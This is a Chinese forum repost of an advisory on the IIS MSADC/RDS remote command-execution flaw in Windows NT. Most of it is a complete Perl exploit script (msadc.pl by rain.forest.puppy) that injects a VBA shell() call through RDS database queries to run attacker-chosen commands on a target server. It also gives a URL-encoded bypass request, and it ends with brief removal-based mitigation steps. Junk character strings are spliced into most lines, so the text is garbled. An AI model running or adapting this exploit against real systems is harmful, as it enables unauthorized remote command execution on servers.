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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) u |ru$cIo  
4':U rJ+  
涉及程序: hQJ-  ~  
Microsoft NT server iS8yJRy  
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描述: yuZh ak  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限  B}h8c  
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详细: M|'![]-  
如果你没有时间读详细内容的话,就删除: E K^["_*A  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 4d @ (>  
有关的安全问题就没有了。 ddeH-Z  
6:Zd,N=  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 + gP 4MP  
x4S0C[k  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 JI~@H /j  
关于利用ODBC远程漏洞的描述,请参看: [YQ` `  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm JclG*/Wjg4  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 y{uN+QS  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp F5EsaF'e4  
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这里不再论述。 A/U,|  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: hX sH9R  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset /M8&`  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Nm=\~LP90  
6`hHx=L  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" LIDYKKDJ^  
x*z$4)RP  
#!perl  D^JuL6U  
# p4'Qki8Hd  
# MSADC/RDS 'usage' (aka exploit) script j; )-K 3Ia  
# }CXL\, ;  
# by rain.forest.puppy Hb{G RG70  
# hA_Y@&=W  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me "~zQN(sR"P  
# beta test and find errors! ~Uw<E:?v  
/6@Wm? `DB  
use Socket; use Getopt::Std; 4{oS(Vl!  
getopts("e:vd:h:XR", \%args); } h pTS_  
/SDDCZ`;|c  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; \+B+M 7  
.V:H~  
if (!defined $args{h} && !defined $args{R}) { 8 m T..23  
print qq~ g<r'f"^  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 4chSo.= 4V  
-h <host> = host you want to scan (ip or domain) 6~j.S "  
-d <seconds> = delay between calls, default 1 second 3d@$iAw1<  
-X = dump Index Server path table, if available &7\q1X&Rr  
-v = verbose #RwqEZ  
-e = external dictionary file for step 5 ^Q$U.sN? R  
=8F]cW'1`  
Or a -R will resume a command session X3j<HQcK  
T m0m$l  
~; exit;} zT5@wm  
,TAzJ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; s!d"(K9E  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ZiS<vWa3R  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 1Goju ey  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 9"YOj_z  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} HFL(t]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } .v3~2r*&  
_DK%-,Spu  
if (!defined $args{R}){ $ret = &has_msadc; phA^ kdW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} D<2|&xaR  
MH>CCT  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Ws;}D}+  
. "cmd /c "; T53|*~u  
$in=<STDIN>; chomp $in; jHxg(]  
$command="cmd /c " . $in ; q{W@J0U  
)NwIEk>Tf  
if (defined $args{R}) {&load; exit;} 9)a:8/Y  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n";  OBY  
&try_btcustmr; D:gskK+o6M  
}!-K)j.  
print "\nStep 2: Trying to make our own DSN..."; ?{ "_9g9  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; )PU?`yLTr  
>~kSe=Hsb4  
print "\nStep 3: Trying known DSNs..."; CmNd0S4v  
&known_dsn; :-=,([TJ  
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print "\nStep 4: Trying known .mdbs..."; 72gQ<Si  
&known_mdb; {/x["2a1  
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if (defined $args{e}){ eJB !|  
print "\nStep 5: Trying dictionary of DSN names..."; =?} t7}#  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } d5zF9;[  
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print "Sorry Charley...maybe next time?\n"; s.E}xv  
exit; Zjz< Q-  
)vFJx[a<n`  
############################################################################## abq$OI  
t$sL6|Ww}o  
sub sendraw { # ripped and modded from whisker A d0dg2Gw  
sleep($delay); # it's a DoS on the server! At least on mine... Xi]WDH \  
my ($pstr)=@_; LV'@JFT-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || btC 0w^5  
die("Socket problems\n"); HCh;Xi  
if(connect(S,pack "SnA4x8",2,80,$target)){ = dyApR:'  
select(S); $|=1; L-  -  
print $pstr; my @in=<S>; wL'tGAv  
select(STDOUT); close(S); q][{?  
return @in; .:KZ8'g3}  
} else { die("Can't connect...\n"); }} OIK14D:  
Zc"Vf]:  
############################################################################## &R54?u^A  
18|i{fE;  
sub make_header { # make the HTTP request JfmNI~%  
my $msadc=<<EOT F)we^'X  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 '2u(fLq3h  
User-Agent: ACTIVEDATA %ec9`0^4S  
Host: $ip [TAW68f'  
Content-Length: $clen x~Eg ax  
Connection: Keep-Alive h 7feZ_  
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ADCClientVersion:01.06 nR7 usL  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 3Zm'09A-.  
7Vf2Qx1_  
--!ADM!ROX!YOUR!WORLD! B/S~Jn  
Content-Type: application/x-varg fUh7PF%  
Content-Length: $reqlen as1ZLfN.  
~c>*3*  
EOT 5cbtMNP  
; $msadc=~s/\n/\r\n/g; }QszOi\fV1  
return $msadc;} )$#]h]ac  
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############################################################################## sh []OSM  
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sub make_req { # make the RDS request #rL%K3'  
my ($switch, $p1, $p2)=@_; E,I*E{nd9  
my $req=""; my $t1, $t2, $query, $dsn; [|ghq  
GY@-}p~it  
if ($switch==1){ # this is the btcustmr.mdb query bi:m;R  
$query="Select * from Customers where City=" . make_shell(); LRO'o{4$E  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Y$0Y_fm%  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} W+3ZuAP\n  
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elsif ($switch==2){ # this is general make table query TqbDj|7`R  
$query="create table AZZ (B int, C varchar(10))"; T:ye2yg  
$dsn="$p1";} <eU28M?\  
wYtL1D(  
elsif ($switch==3){ # this is general exploit table query o8+ZgXct  
$query="select * from AZZ where C=" . make_shell(); #hEN4c[Ex  
$dsn="$p1";} *={` %  
!r:X`~\a  
elsif ($switch==4){ # attempt to hork file info from index server | ,bCYK  
$query="select path from scope()"; 8*rd`k1 |g  
$dsn="Provider=MSIDXS;";} #%CbZw@hJ9  
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elsif ($switch==5){ # bad query 7 jq?zS|  
$query="select"; VUXG%511T  
$dsn="$p1";} w%=GdA=  
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$t1= make_unicode($query); )i&z!|/2  
$t2= make_unicode($dsn); h^F^|WT$  
$req = "\x02\x00\x03\x00"; 0be1aY;m&  
$req.= "\x08\x00" . pack ("S1", length($t1));  _6a+" p  
$req.= "\x00\x00" . $t1 ; RZm}%6##ZC  
$req.= "\x08\x00" . pack ("S1", length($t2)); (0s7<&Iu  
$req.= "\x00\x00" . $t2 ; "(y",!U@  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; TJ@@k SSbl  
return $req;} )ndcBwQc"  
rrK&XP&  
############################################################################## Z$R6'EUb1  
V5y8VT=I  
sub make_shell { # this makes the shell() statement jEj#|w  
return "'|shell(\"$command\")|'";} J&4QI( b.  
qbjBN z  
##############################################################################  6e,|HV  
t0_o .S  
sub make_unicode { # quick little function to convert to unicode L/1zG/@  
my ($in)=@_; my $out; Xz)UH<  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Rk2V[R.`S  
return $out;} O$jj&  
* z|i{=W F  
############################################################################## 1PWs">*(  
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sub rdo_success { # checks for RDO return success (this is kludge) )(~s-x^\z@  
my (@in) = @_; my $base=content_start(@in); _EeH  
if($in[$base]=~/multipart\/mixed/){ M<Mr L[*j  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ,Y&LlB 2  
return 0;} ,bT|:T@ny  
E"!I[  
############################################################################## Xd%c00"U  
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sub make_dsn { # this makes a DSN for us S,Q!Xb@  
my @drives=("c","d","e","f"); } ).rD  
print "\nMaking DSN: "; X|+o4R?  
foreach $drive (@drives) { xU$A/!oK  
print "$drive: "; Df;EemCh  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . RUcpdeo  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" i oX [g  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ;J|sH>i  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; X`km\\*  
return 0 if $2 eq "404"; # not found/doesn't exist )N[9r{3  
if($2 eq "200") { R<$_ <z  
foreach $line (@results) { 4;anoqiG\  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} E (DNK  
} return 0;} *Ag</g@ h  
y<7C!E#b8  
############################################################################## y]|Hrx  
~jdvxoX-  
sub verify_exists { lej-,HX  
my ($page)=@_; r':wq   
my @results=sendraw("GET $page HTTP/1.0\n\n"); u6o:~=WwM  
return $results[0];} b-pZrnZ!  
*a_U2}N  
############################################################################## C!KxY/*Px  
MD(?Wh  
sub try_btcustmr { \)Sa!XLfT  
my @drives=("c","d","e","f"); wQR>S>p  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "`P/j+-rt  
3IXai)6U  
foreach $dir (@dirs) { 3vx5dUgl,  
print "$dir -> "; # fun status so you can see progress P%?|V _m  
foreach $drive (@drives) { 9Q{-4yF9k  
print "$drive: "; # ditto cM&5SyxiuE  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; sywSvnPuYZ  
$reqlenlen=length( "$reqlen" ); I'&#pOB  
$clen= 206 + $reqlenlen + $reqlen; L%G/%*7;c  
DONXq]f:,"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ?y1']GAo  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} T(LqR?xOo  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Cjh0 .{  
,;3#}OGg  
############################################################################## HgH\2QL3&  
W?y7mw_S  
sub odbc_error { ?:@13wm  
my (@in)=@_; my $base; Z) nB  
my $base = content_start(@in); ODvlix  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this a7?z{ssEi  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <2b&AF{En  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UC3&:aQ!  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +ucj>g1(#  
return $in[$base+4].$in[$base+5].$in[$base+6];} -Ky<P<@ezm  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; [k1N-';;;  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . <( "M;C3y  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Hzm<KQ g  
?D 8<}~Do  
############################################################################## EPEy60Rx5  
Fjnp0:p9X  
sub verbose { Q]44A+M]  
my ($in)=@_; 2x PkQOj3  
return if !$verbose; jb0wP01R  
print STDOUT "\n$in\n";} K1`Z}k_p.  
--S1p0  
############################################################################## @#HB6B  
\!O3]k,r  
sub save { fU/&e^, 's  
my ($p1, $p2, $p3, $p4)=@_; O} #Ic$38  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; dO?zLc0f  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; '3%JhG)#  
close OUT;} W=E+/ZvPt  
=sm<B^yj  
############################################################################## r4YiXss  
QoLp$1O (y  
sub load { =*0KH##%$  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; /,C;fT<R  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); e0s*  
@p=<IN>; close(IN); 0H$6_YX4 A  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  3o_)x  
$target= inet_aton($ip) || die("inet_aton problems"); % w\   
print "Resuming to $ip ..."; ppm =o4`s[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; XA b%V'  
if($p[1]==1) { 9f(0 qa  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; _h6j, )  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; !+UU[uM  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); eeVDU$*e=  
if (rdo_success(@results)){print "Success!\n";} Sb4^* $uz  
else { print "failed\n"; verbose(odbc_error(@results));}} <mrvuWg0  
elsif ($p[1]==3){ ]QU 9|1  
if(run_query("$p[3]")){ &9+]{jXF  
print "Success!\n";} else { print "failed\n"; }} Y YE{zU  
elsif ($p[1]==4){ -R]Iu\  
if(run_query($drvst . "$p[3]")){ !Y8+ Z&^2  
print "Success!\n"; } else { print "failed\n"; }} `e`}dgf0S|  
exit;} ^l:~r2  
I`~Giz7@  
############################################################################## SD/=e3  
m&P B5s\=  
sub create_table { (jyT9'*wAT  
my ($in)=@_; }s7@0#j@a  
$reqlen=length( make_req(2,$in,"") ) - 28; !"g2F}n  
$reqlenlen=length( "$reqlen" ); {g C?kp  
$clen= 206 + $reqlenlen + $reqlen; *M?[Gro/  
my @results=sendraw(make_header() . make_req(2,$in,"")); ~hZr1hT6L  
return 1 if rdo_success(@results); N&uRL_X .  
my $temp= odbc_error(@results); verbose($temp); U#iGR5&^3  
return 1 if $temp=~/Table 'AZZ' already exists/; D_N0j{E  
return 0;} LULRi#n  
dfA2G<Uc  
############################################################################## <(!~s><.  
&wX568o  
sub known_dsn { Y|l&mK?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go sv.?C pE  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 3v91yMx  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", y$}o{VE{x  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); yMz dM&a!*  
/;5/7Bvj  
foreach $dSn (@dsns) { cq`!17"k  
print "."; ` t>A~.f  
next if (!is_access("DSN=$dSn")); j0b>n#e7  
if(create_table("DSN=$dSn")){ ZBk br  
print "$dSn successful\n"; ,rNv}  
if(run_query("DSN=$dSn")){ ae#Qeow`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { H -K%F_#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ri2`M\;gt  
O@>ZYA%  
############################################################################## NY GWA4L  
#Q1 |]  
sub is_access { JA$RY  
my ($in)=@_; T8BewO=}  
$reqlen=length( make_req(5,$in,"") ) - 28; w.(?O;  
$reqlenlen=length( "$reqlen" ); r h c&#JS  
$clen= 206 + $reqlenlen + $reqlen; 8Sk$o.Gy  
my @results=sendraw(make_header() . make_req(5,$in,"")); o3X0c6uU  
my $temp= odbc_error(@results); sE])EwZ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); [VE>{4]W  
return 0;} YmwXA e:  
'-BD.^!!  
############################################################################## 6 u1|pX8  
[7\x(W-:@>  
sub run_query { /?1^&a  
my ($in)=@_; gh-i| i,  
$reqlen=length( make_req(3,$in,"") ) - 28; 'A,)PZL9i  
$reqlenlen=length( "$reqlen" ); i~LY  
$clen= 206 + $reqlenlen + $reqlen; z~th{4#E ;  
my @results=sendraw(make_header() . make_req(3,$in,"")); e8eNef L$  
return 1 if rdo_success(@results); Ki>XLX,er=  
my $temp= odbc_error(@results); verbose($temp); RB9ZaL\  
return 0;} 3*E] :l_  
i!*8@:VI  
############################################################################## k+zskfo  
}J`cRDO  
sub known_mdb { Js&.p9S2  
my @drives=("c","d","e","f","g"); i}O.,iH  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0$_WIk  
my $dir, $drive, $mdb; ^vJy<  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 92ngSaNC  
9w6 uoM  
# this is sparse, because I don't know of many Fd#Zu.Np  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Ab8Ke|fA  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", lMgPwvs'  
"\\system32\\certmdb.mdb", ~|S}$|Mi50  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% !8YA1 o  
|_hIl(6F5N  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 7M~/[f7Z{  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Hb[P|pPT  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", }nptmc  
"\\cfusion\\cfapps\\security\\realm_.mdb", ]!uId#OH  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;u=%Vn"2a  
"\\cfusion\\database\\cfexamples.mdb", $WO{!R  
"\\cfusion\\database\\cfsnippets.mdb", ^I{/j 'b&  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", WtC&Qyuq  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", z0UtKE^b  
"\\cfusion\\brighttiger\\database\\cleam.mdb", dl(!{tZ#  
"\\cfusion\\database\\smpolicy.mdb", Ed+jSO0  
"\\cfusion\\database\cypress.mdb", ?XV3Y3  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *-S?bv,T'  
"\\website\\cgi-win\\dbsample.mdb", j@{B 8  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", x.sC015Id  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" MpTOC&NG%s  
); #these are just 6ld /E  
foreach $drive (@drives) { G_M8? G0  
foreach $dir (@dirs){ D=SjCmG  
foreach $mdb (@sysmdbs) { >uDC!0)R  
print "."; 5}b) W>3@`  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9ji`.&#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Z@bSkO<Y  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ e-%q!F(Bf  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; LQR^lD+_=  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ]0g p.R  
3"sXN)j  
foreach $drive (@drives) { X]o"vx%C  
foreach $mdb (@mdbs) { ErgWsAw-  
print "."; Xc4zUEO9  
if(create_table($drv . $drive . $dir . $mdb)){ k9;t3-P  
print "\n" . $drive . $dir . $mdb . " successful\n"; nTD4^'  
if(run_query($drv . $drive . $dir . $mdb)){ fe8hgTP|  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; D/=k9[b!  
} else { print "Something's borked. Use verbose next time\n"; }}}} x[u6_6=q9  
} B4 5#-V  
u\"/EaQ{  
############################################################################## >x6)AH.  
$<"I*l@  
sub hork_idx { +N'&6z0Wf  
print "\nAttempting to dump Index Server tables...\n"; <\ eRa{ef  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Ktu~%)k%  
$reqlen=length( make_req(4,"","") ) - 28; )1YX+',"  
$reqlenlen=length( "$reqlen" ); bkz/V/Y  
$clen= 206 + $reqlenlen + $reqlen; dn:\V?9  
my @results=sendraw2(make_header() . make_req(4,"","")); G&t|aY-   
if (rdo_success(@results)){ p=^6V"'  
my $max=@results; my $c; my %d; Q- w_ @~  
for($c=19; $c<$max; $c++){ jfVw{\l  
$results[$c]=~s/\x00//g; ZAn9A>5_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; NNwGRoDco  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 1f'msy/  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; _xy[\X;9  
$d{"$1$2"}="";} =LgMG^@mu  
foreach $c (keys %d){ print "$c\n"; } 4eF{Y^   
} else {print "Index server doesn't seem to be installed.\n"; }} i29a1nD4Hm  
~)zxIO!  
############################################################################## ( uG; Q  
o,S(;6pDJ  
sub dsn_dict { $~VIx% h  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); EXwU{Hl  
while(<IN>){ )eqF21\  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; >;R7r|^k  
next if (!is_access("DSN=$dSn")); jc\y{I\  
if(create_table("DSN=$dSn")){ g++-v HD  
print "$dSn successful\n"; mIPDF1= )  
if(run_query("DSN=$dSn")){ O1wo KkfV  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &pR 8sySu  
print "Something's borked. Use verbose next time\n";}}} =-&h@mB;G  
print "\n"; close(IN);} rq Uk_|Xa  
,?HM5c{'[Y  
############################################################################## {oR@'^N  
?RW1%+[  
sub sendraw2 { # ripped and modded from whisker K-K>'T9F}  
sleep($delay); # it's a DoS on the server! At least on mine... HL dHyK/S  
my ($pstr)=@_; iq^;csyKb  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Q04 `+Vr  
die("Socket problems\n"); N2Ysi$  
if(connect(S,pack "SnA4x8",2,80,$target)){ 6eA)d#  
print "Connected. Getting data"; t* p%!xsH  
open(OUT,">raw.out"); my @in; #K/JU{"  
select(S); $|=1; print $pstr; @,-D P41g  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -M_>]ubG  
close(OUT); select(STDOUT); close(S); return @in; #0\* 8 6  
} else { die("Can't connect...\n"); }} [7g-M/jvY  
6j+X@|2^  
############################################################################## Ta/ u&t4  
TJ_6:;4,|_  
sub content_start { # this will take in the server headers ao[yHcAs  
my (@in)=@_; my $c; F%af05L[  
for ($c=1;$c<500;$c++) { ET 0(/Zz  
if($in[$c] =~/^\x0d\x0a/){ i[ws%GfEv  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } JAI.NKB3  
else { return $c+1; }}} #6l(2d  
return -1;} # it should never get here actually  pn) {v  
b`,Sd.2=('  
############################################################################## N93R(x)%  
ry@p  
sub funky { +P,ic*Kq*  
my (@in)=@_; my $error=odbc_error(@in); e$JCak=  
if($error=~/ADO could not find the specified provider/){ zK{}   
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; |.&GmP  
exit;} (0.JoeA`y  
if($error=~/A Handler is required/){ -5|el3%)  
print "\nServer has custom handler filters (they most likely are patched)\n"; _-^mxC|M  
exit;} vts"  
if($error=~/specified Handler has denied Access/){ n2Mpo\2  
print "\nServer has custom handler filters (they most likely are patched)\n"; Zk>m!F>,p  
exit;}} (I'{ pF)  
V0&7MY*  
############################################################################## /=A@O !l  
2;3&&yK2b  
sub has_msadc { B., BP  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); YI> xxWA  
my $base=content_start(@results); VB T 66kV  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); -1`}|t;  
return 0;} [z+YX s!N  
r KdsVW  
######################## 3>73s}3  
}d iE'  
J$s p6 g>K  
解决方案: p9mGiK4!  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll NYs<`6P:Y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 b&1hj[`)  
7^UY%t  
拿出来充数 哈哈
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